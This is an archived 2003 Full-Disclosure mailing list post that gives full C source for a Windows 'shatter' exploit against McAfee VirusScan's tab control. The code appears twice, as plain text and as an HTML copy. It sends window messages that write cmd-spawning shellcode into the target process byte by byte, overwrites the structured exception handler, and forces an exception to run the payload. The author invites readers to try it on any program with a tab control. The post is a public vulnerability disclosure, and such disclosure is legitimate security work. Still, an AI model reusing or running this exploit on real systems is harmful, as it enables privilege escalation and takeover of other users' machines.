[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [Full-Disclosure] Shattering SEH II + I/II
From:       <oliver.lavery () sympatico ! ca>
Date:       2003-07-31 21:15:16
[Download RAW message or body]

Hi,

I recently wrote a paper for iDefense detailing a few shatter
vulnerabilities. One of the vendors mentioned in that paper informed me that
the exploit in that paper no longer worked for their products. As it turned
out, between the time when I wrote the paper and it's release they had
removed edit controls a particular vulnerable component in their products.
Go figure. Sorry for the minor inaccuracy.

Not wanting to let anyone feel left out, I hacked together this exploit
which does work for the vendor in question's products. It's based on Brett
Moore's rather cool SEH exploit, but uses a shatter vulnerability in Tab
controls as opposed to Listview controls. For more info check out Brett
Moore's recent 'Shattering SEH' posts.

Cheers,
~ol

-------- CUT - HERE ---------

/**********************************************************
* Tab Control Shatter exploit for McAfee A/V products
* (or any other program that includes a tab control)
*
* Demonstrates the use of tab control messages to;
*    - inject shellcode to known location
*    - overwrite 4 bytes of a critical memory address
*
* 3 Variables need to be set for proper execution.
*    - tWindow is the title of the programs main window
*    - sehHandler is the critical address to overwrite
*    - shellcodeaddr is the data space to inject the code
*
* Hardcoded addresses are for XP SP 1
* Try it out against any program with a tab control.
* Oliver Lavery <oliver.lavery at sympatico.ca>
*
* Based on (and pretty much identical to) shatterseh2.c by 
* Brett Moore [ brett moore security-assessment com ]
**********************************************************/
#include <windows.h>
#include <commctrl.h>
#include <stdio.h>

// Local Cmd Shellcode. 
// Added a loadLibrary call to make sure msvcrt.dll is present -- ol
BYTE exploit[] =
"\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD
1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC";

char g_classNameBuf[ 256 ];

char tWindow[]="VirusScan Status";// The name of the main window
long sehHandler = 0x77edXXXX;      // Critical Address To Overwrite
long shellcodeaddr = 0x77ed7484;   // Known Writeable Space Or Global Space
// you might want to find a less destructive spot to stick the code, but
this works for me --ol
void doWrite(HWND hWnd, long tByte,long address);
void IterateWindows(long hWnd);

int main(int argc, char *argv[])
{
   long hWnd;
   HMODULE hMod;
   DWORD ProcAddr;
   printf("%% Playing with tabcontrol messages\n");
   printf("%% Oliver Lavery.\n\n");
   printf("%% based on Shatter SEH code by\n");
   printf("%% brett moore security-assessment com\n\n");

   // Find local procedure address
   hMod = LoadLibrary("kernel32.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[13] = ProcAddr;

   hMod = LoadLibrary("msvcrt.dll");
   ProcAddr = (DWORD)GetProcAddress(hMod, "system");
   if(ProcAddr != 0)
      // And put it in our shellcode
      *(long *)&exploit[26] = ProcAddr;

   printf("+ Finding %s Window...\n",tWindow);
   hWnd = (long)FindWindow(NULL,tWindow);
   if(hWnd == NULL)
   {
      printf("+ Couldn't Find %s Window\n",tWindow);
      return 0;
   }
   printf("+ Found Main Window At...0x%xh\n",hWnd);
   IterateWindows(hWnd);
   printf("+ Not Done...\n");
   return 0;
}


void doWrite(HWND hWnd, long tByte,long address)
{
   SendMessage( hWnd,(UINT) TCM_SETITEMSIZE,0,MAKELPARAM(tByte - 2, 20));
   SendMessage( hWnd,(UINT) TCM_GETITEMRECT,1,address);
}

void IterateWindows(long hWnd)
{
   long childhWnd,looper;
   childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);
   GetClassName( (HWND)childhWnd, g_classNameBuf, sizeof(g_classNameBuf) );
   while ( strcmp(g_classNameBuf, "SysTabControl32") )
   {
      IterateWindows(childhWnd);
      childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);
	  GetClassName( (HWND)childhWnd, g_classNameBuf,
sizeof(g_classNameBuf) );
   }

   if(childhWnd != NULL)
   {
	  LONG wndStyle = GetWindowLong( (HWND)childhWnd, GWL_STYLE );
	  wndStyle |= TCS_FIXEDWIDTH ;
	  SetWindowLong( (HWND)childhWnd, GWL_STYLE, wndStyle );

	  printf("min %d\n", SendMessage( (HWND)childhWnd,(UINT)
TCM_SETMINTABWIDTH, 0,(LPARAM)0) );

      printf("+ Found tab control..0x%xh\n",childhWnd);
      // Inject shellcode to known address

	  printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);
      for (looper=0;looper<sizeof(exploit);looper++)
         doWrite((HWND)childhWnd, (long) exploit[looper],(shellcodeaddr +
looper));
      // Overwrite SEH
      printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);
      doWrite((HWND)childhWnd, ((shellcodeaddr) & 0xff),sehHandler);
      doWrite((HWND)childhWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);
      doWrite((HWND)childhWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);
      doWrite((HWND)childhWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);
      // Cause exception
      printf("+ Forcing Unhandled Exception\n");
      SendMessage((HWND) childhWnd,(UINT) TCM_GETITEMRECT,0,1);
      printf("+ Done...\n");
      exit(0);
   }
}

[Attachment #3 (text/html)]

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=us-ascii">
<META NAME="Generator" CONTENT="MS Exchange Server version 6.0.4630.0">
<TITLE>Shattering SEH II + I/II</TITLE>
</HEAD>
<BODY>
<!-- Converted from text/rtf format -->

<P><FONT SIZE=2 FACE="Arial">Hi,</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">I recently wrote a paper for iDefense detailing a few shatter \
vulnerabilities. One of the vendors mentioned in that paper informed me that the exploit in \
that paper no longer worked for their products. As it turned out, between the time when I wrote \
the paper and it's release they had removed edit controls a particular vulnerable component in \
their products. Go figure. Sorry for the minor inaccuracy.</FONT></P>

<P><FONT SIZE=2 FACE="Arial">Not wanting to let anyone feel left out, I hacked together this \
exploit which does work for the vendor in question's products. It's based on Brett Moore's \
rather cool SEH exploit, but uses a shatter vulnerability in Tab controls as opposed to \
Listview controls. For more info check out Brett Moore's recent 'Shattering SEH' \
posts.</FONT></P>

<P><FONT SIZE=2 FACE="Arial">Cheers,</FONT>

<BR><FONT SIZE=2 FACE="Arial">~ol</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">-------- CUT - HERE ---------</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">/**********************************************************</FONT>

<BR><FONT SIZE=2 FACE="Arial">* Tab Control Shatter exploit for McAfee A/V products</FONT>

<BR><FONT SIZE=2 FACE="Arial">* (or any other program that includes a tab control)</FONT>

<BR><FONT SIZE=2 FACE="Arial">*</FONT>

<BR><FONT SIZE=2 FACE="Arial">* Demonstrates the use of tab control messages to;</FONT>

<BR><FONT SIZE=2 FACE="Arial">*&nbsp;&nbsp;&nbsp; - inject shellcode to known location</FONT>

<BR><FONT SIZE=2 FACE="Arial">*&nbsp;&nbsp;&nbsp; - overwrite 4 bytes of a critical memory \
address</FONT>

<BR><FONT SIZE=2 FACE="Arial">*</FONT>

<BR><FONT SIZE=2 FACE="Arial">* 3 Variables need to be set for proper execution.</FONT>

<BR><FONT SIZE=2 FACE="Arial">*&nbsp;&nbsp;&nbsp; - tWindow is the title of the programs main \
window</FONT>

<BR><FONT SIZE=2 FACE="Arial">*&nbsp;&nbsp;&nbsp; - sehHandler is the critical address to \
overwrite</FONT>

<BR><FONT SIZE=2 FACE="Arial">*&nbsp;&nbsp;&nbsp; - shellcodeaddr is the data space to inject \
the code</FONT>

<BR><FONT SIZE=2 FACE="Arial">*</FONT>

<BR><FONT SIZE=2 FACE="Arial">* Hardcoded addresses are for XP SP 1</FONT>

<BR><FONT SIZE=2 FACE="Arial">* Try it out against any program with a tab control.</FONT>

<BR><FONT SIZE=2 FACE="Arial">* Oliver Lavery &lt;oliver.lavery at sympatico.ca&gt;</FONT>

<BR><FONT SIZE=2 FACE="Arial">*</FONT>

<BR><FONT SIZE=2 FACE="Arial">* Based on (and pretty much identical to) shatterseh2.c by \
</FONT>

<BR><FONT SIZE=2 FACE="Arial">* Brett Moore [ brett moore security-assessment com ]</FONT>

<BR><FONT SIZE=2 FACE="Arial">**********************************************************/</FONT>


<BR><FONT SIZE=2 FACE="Arial">#include &lt;windows.h&gt;</FONT>

<BR><FONT SIZE=2 FACE="Arial">#include &lt;commctrl.h&gt;</FONT>

<BR><FONT SIZE=2 FACE="Arial">#include &lt;stdio.h&gt;</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">// Local Cmd Shellcode. </FONT>

<BR><FONT SIZE=2 FACE="Arial">// Added a loadLibrary call to make sure msvcrt.dll is present -- \
ol</FONT>

<BR><FONT SIZE=2 FACE="Arial">BYTE exploit[] = \
&quot;\x90\x68\x74\x76\x73\x6D\x68\x63\x72\x00\x00\x54\xB9\x61\xD9\xE7\x77\xFF\xD1\x68\x63\x6D\x64\x00\x54\xB9\x44\x80\xC2\x77\xFF\xD1\xCC&quot;;</FONT></P>


<P><FONT SIZE=2 FACE="Arial">char g_classNameBuf[ 256 ];</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">char tWindow[]=&quot;VirusScan Status&quot;;// The name of the \
main window</FONT>

<BR><FONT SIZE=2 FACE="Arial">long sehHandler = 0x77edXXXX;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // \
Critical Address To Overwrite</FONT>

<BR><FONT SIZE=2 FACE="Arial">long shellcodeaddr = 0x77ed7484;&nbsp;&nbsp; // Known Writeable \
Space Or Global Space</FONT>

<BR><FONT SIZE=2 FACE="Arial">// you might want to find a less destructive spot to stick the \
code, but this works for me --ol</FONT>

<BR><FONT SIZE=2 FACE="Arial">void doWrite(HWND hWnd, long tByte,long address);</FONT>

<BR><FONT SIZE=2 FACE="Arial">void IterateWindows(long hWnd);</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">int main(int argc, char *argv[])</FONT>

<BR><FONT SIZE=2 FACE="Arial">{</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; long hWnd;</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; HMODULE hMod;</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; DWORD ProcAddr;</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; printf(&quot;%% Playing with tabcontrol \
messages\n&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; printf(&quot;%% Oliver Lavery.\n\n&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; printf(&quot;%% based on Shatter SEH code \
by\n&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; printf(&quot;%% brett moore security-assessment \
com\n\n&quot;);</FONT> </P>

<P><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; // Find local procedure address</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; hMod = LoadLibrary(&quot;kernel32.dll&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; ProcAddr = (DWORD)GetProcAddress(hMod, \
&quot;LoadLibraryA&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; if(ProcAddr != 0)</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // And put it in our \
shellcode</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(long *)&amp;exploit[13] = \
ProcAddr;</FONT> </P>

<P><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; hMod = LoadLibrary(&quot;msvcrt.dll&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; ProcAddr = (DWORD)GetProcAddress(hMod, \
&quot;system&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; if(ProcAddr != 0)</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // And put it in our \
shellcode</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(long *)&amp;exploit[26] = \
ProcAddr;</FONT> </P>

<P><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; printf(&quot;+ Finding %s \
Window...\n&quot;,tWindow);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; hWnd = (long)FindWindow(NULL,tWindow);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; if(hWnd == NULL)</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; {</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;+ Couldn't Find %s \
Window\n&quot;,tWindow);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; }</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; printf(&quot;+ Found Main Window \
At...0x%xh\n&quot;,hWnd);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; IterateWindows(hWnd);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; printf(&quot;+ Not Done...\n&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; return 0;</FONT>

<BR><FONT SIZE=2 FACE="Arial">}</FONT>
</P>
<BR>

<P><FONT SIZE=2 FACE="Arial">void doWrite(HWND hWnd, long tByte,long address)</FONT>

<BR><FONT SIZE=2 FACE="Arial">{</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; SendMessage( hWnd,(UINT) \
TCM_SETITEMSIZE,0,MAKELPARAM(tByte - 2, 20));</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; SendMessage( hWnd,(UINT) \
TCM_GETITEMRECT,1,address);</FONT>

<BR><FONT SIZE=2 FACE="Arial">}</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">void IterateWindows(long hWnd)</FONT>

<BR><FONT SIZE=2 FACE="Arial">{</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; long childhWnd,looper;</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; childhWnd = \
(long)GetNextWindow((HWND)hWnd,GW_CHILD);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; GetClassName( (HWND)childhWnd, g_classNameBuf, \
sizeof(g_classNameBuf) );</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; while ( strcmp(g_classNameBuf, \
&quot;SysTabControl32&quot;) )</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; {</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; IterateWindows(childhWnd);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; childhWnd = \
(long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);</FONT>

<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2 FACE="Arial">&nbsp; GetClassName( \
(HWND)childhWnd, g_classNameBuf, sizeof(g_classNameBuf) );</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; }</FONT>
</P>

<P><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; if(childhWnd != NULL)</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; {</FONT>

<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2 FACE="Arial">&nbsp; LONG wndStyle = \
GetWindowLong( (HWND)childhWnd, GWL_STYLE );</FONT>

<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2 FACE="Arial">&nbsp; wndStyle |= \
TCS_FIXEDWIDTH ;</FONT>

<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2 FACE="Arial">&nbsp; SetWindowLong( \
(HWND)childhWnd, GWL_STYLE, wndStyle );</FONT> </P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2 FACE="Arial">&nbsp; printf(&quot;min \
%d\n&quot;, SendMessage( (HWND)childhWnd,(UINT) TCM_SETMINTABWIDTH, 0,(LPARAM)0) );</FONT> </P>

<P><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;+ Found tab \
control..0x%xh\n&quot;,childhWnd);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Inject shellcode to known \
address</FONT> </P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=2 FACE="Arial">&nbsp; printf(&quot;+ \
Sending shellcode to...0x%xh\n&quot;,shellcodeaddr);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for \
(looper=0;looper&lt;sizeof(exploit);looper++)</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \
doWrite((HWND)childhWnd, (long) exploit[looper],(shellcodeaddr + looper));</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Overwrite SEH</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;+ Overwriting Top \
SEH....0x%xh\n&quot;,sehHandler);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; doWrite((HWND)childhWnd, \
((shellcodeaddr) &amp; 0xff),sehHandler);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; doWrite((HWND)childhWnd, \
((shellcodeaddr &gt;&gt; 8) &amp; 0xff),sehHandler+1);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; doWrite((HWND)childhWnd, \
((shellcodeaddr &gt;&gt; 16) &amp; 0xff),sehHandler+2);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; doWrite((HWND)childhWnd, \
((shellcodeaddr &gt;&gt; 24) &amp; 0xff),sehHandler+3);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Cause exception</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;+ Forcing Unhandled \
Exception\n&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; SendMessage((HWND) \
childhWnd,(UINT) TCM_GETITEMRECT,0,1);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf(&quot;+ \
Done...\n&quot;);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit(0);</FONT>

<BR><FONT SIZE=2 FACE="Arial">&nbsp;&nbsp; }</FONT>

<BR><FONT SIZE=2 FACE="Arial">}</FONT>
</P>

</BODY>
</HTML>


_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic